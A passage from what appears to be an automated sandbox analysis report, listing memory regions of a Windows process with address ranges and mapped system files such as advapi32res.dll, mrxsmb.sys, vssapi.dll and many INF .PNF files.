end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5662 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5663 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5664 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5665 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5666 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 5667 start_va = 0x20abc390000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 5668 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 5669 start_va = 0x20abc7e0000 end_va = 0x20abc851fff monitored = 0 entry_point = 0x20abc837000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 5670 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 5671 start_va = 0x20abc7e0000 end_va = 0x20abc851fff monitored = 0 entry_point = 0x20abc837000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 5672 start_va = 0x20abc380000 end_va = 0x20abc398fff monitored = 0 entry_point = 0x20abc38b610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 5673 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 5674 start_va = 0x20abc380000 end_va = 0x20abc398fff monitored = 0 entry_point = 0x20abc38b610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 5675 start_va = 0x20abc3a0000 end_va = 0x20abc3a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 5676 start_va = 0x20abc380000 end_va = 0x20abc387fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 5677 start_va = 0x20abc7e0000 end_va = 0x20abc9c8fff monitored = 0 entry_point = 0x20abc7e15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 5678 start_va = 0x20abc380000 end_va = 0x20abc387fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 5679 start_va = 0x20abc7e0000 end_va = 0x20abc9c8fff monitored = 0 entry_point = 0x20abc7e15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 5680 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 5681 start_va = 0x20abc7e0000 end_va = 0x20abc839fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 5682 start_va = 0x20abc380000 end_va = 0x20abc390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 5683 start_va = 0x20abc7e0000 end_va = 0x20abc839fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 5684 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 5685 start_va = 0x20abc7e0000 end_va = 0x20abc8bffff monitored = 0 entry_point = 0x20abc872eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 5686 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 5687 start_va = 0x20abc7e0000 end_va = 0x20abc8bffff monitored = 0 entry_point = 0x20abc872eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 5688 start_va = 0x7ffb15d80000 end_va = 0x7ffb15d8dfff monitored = 0 entry_point = 0x7ffb15d82b10 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 5731 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc380000" filename = "" Region: id = 5732 start_va = 0x20abc390000 end_va = 0x20abc391fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc390000" filename = "" Region: id = 6243 start_va = 0x20abc3a0000 end_va = 0x20abc3a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc3a0000" filename = "" Region: id = 6253 start_va = 0x20abc3b0000 end_va = 0x20abc3b5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc3b0000" filename = "" Region: id = 6386 start_va = 0x7ffb15880000 end_va = 0x7ffb1588afff monitored = 1 entry_point = 0x7ffb158837b0 region_type = mapped_file name = "srwmi.dll" filename = "\\Windows\\System32\\srwmi.dll" (normalized: "c:\\windows\\system32\\srwmi.dll") Region: id = 6387 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6388 start_va = 0x2dc2680000 end_va = 0x2dc26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000002dc2680000" filename = "" Region: id = 6389 start_va = 0x7ffb069b0000 end_va = 0x7ffb069c5fff monitored = 0 entry_point = 0x7ffb069bd4a0 region_type = mapped_file name = "srclient.dll" filename = "\\Windows\\System32\\srclient.dll" (normalized: "c:\\windows\\system32\\srclient.dll") Region: id = 6390 start_va = 0x7ffb02d50000 end_va = 0x7ffb02d98fff monitored = 0 entry_point = 0x7ffb02d83470 region_type = mapped_file name = "spp.dll" filename = "\\Windows\\System32\\spp.dll" (normalized: "c:\\windows\\system32\\spp.dll") Region: id = 6391 start_va = 0x7ffb12c60000 end_va = 0x7ffb12de1fff monitored = 0 entry_point = 0x7ffb12c782a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 6392 start_va = 0x7ffb12c40000 end_va = 0x7ffb12c57fff monitored = 0 entry_point = 0x7ffb12c42000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 6498 start_va = 0x7ffb031b0000 end_va = 0x7ffb031c7fff monitored = 0 entry_point = 0x7ffb031b16f0 region_type = mapped_file name = "sxproxy.dll" filename = "\\Windows\\System32\\sxproxy.dll" (normalized: "c:\\windows\\system32\\sxproxy.dll") Region: id = 6562 start_va = 0x20abc380000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 6565 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6579 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 6591 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6601 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6605 start_va = 0x20abc380000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 6607 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\INF\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 6608 start_va = 0x20abc380000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 6609 start_va = 0x20abc380000 end_va = 0x20abc3a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 6616 start_va = 0x20abc380000 end_va = 0x20abc39bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 6617 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 6620 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 6623 start_va = 0x20abc7e0000 end_va = 0x20abc8c9fff monitored = 0 entry_point = 0x20abc805d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6624 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6625 start_va = 0x20abc380000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 6632 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6634 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6644 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 6669 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 6672 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6677 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6688 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 6705 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc380000" filename = "" Region: id = 6706 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6707 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6713 start_va = 0x20abc390000 end_va = 0x20abc397fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc390000" filename = "" Region: id = 6718 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\INF\\compositebus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 6721 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vdrvroot.pnf" filename = "\\Windows\\INF\\vdrvroot.PNF" (normalized: "c:\\windows\\inf\\vdrvroot.pnf") Region: id = 6734 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6735 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6748 start_va = 0x20abc3a0000 end_va = 0x20abc3a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 6753 start_va = 0x20abc3a0000 end_va = 0x20abc3a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 6766 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 6771 start_va = 0x20abc7e0000 end_va = 0x20abc8f8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 6781 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6791 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 6805 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\INF\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 6817 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 6830 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hidinterrupt.pnf" filename = "\\Windows\\INF\\hidinterrupt.PNF" (normalized: "c:\\windows\\inf\\hidinterrupt.pnf") Region: id = 6843 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 6861 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 6874 start_va = 0x20abc7e0000 end_va = 0x20abc7f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 6895 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 6903 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 6916 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 6926 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 6938 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hal.pnf" filename = "\\Windows\\INF\\hal.PNF" (normalized: "c:\\windows\\inf\\hal.pnf") Region: id = 6960 start_va = 0x20abc3a0000 end_va = 0x20abc3a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 6962 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 6967 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 6976 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 6985 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7001 start_va = 0x20abc3a0000 end_va = 0x20abc3affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 7012 start_va = 0x20abc3a0000 end_va = 0x20abc3affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 7023 start_va = 0x20abc3a0000 end_va = 0x20abc3affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 7031 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 7039 start_va = 0x20abc3a0000 end_va = 0x20abc3a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 7051 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 7055 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7056 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7070 start_va = 0x20abc7e0000 end_va = 0x20abc7fbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 7084 start_va = 0x20abc7e0000 end_va = 0x20abc7fbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 7087 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7100 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7113 start_va = 0x20abc7e0000 end_va = 0x20abc7fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 7114 start_va = 0x20abc7e0000 end_va = 0x20abc7fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 7133 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7140 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7151 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7158 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7164 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7182 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7201 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 7227 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 7266 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 7289 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 7321 start_va = 0x20abc3a0000 end_va = 0x20abc3a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 7340 start_va = 0x20abc3a0000 end_va = 0x20abc3a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 7355 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = 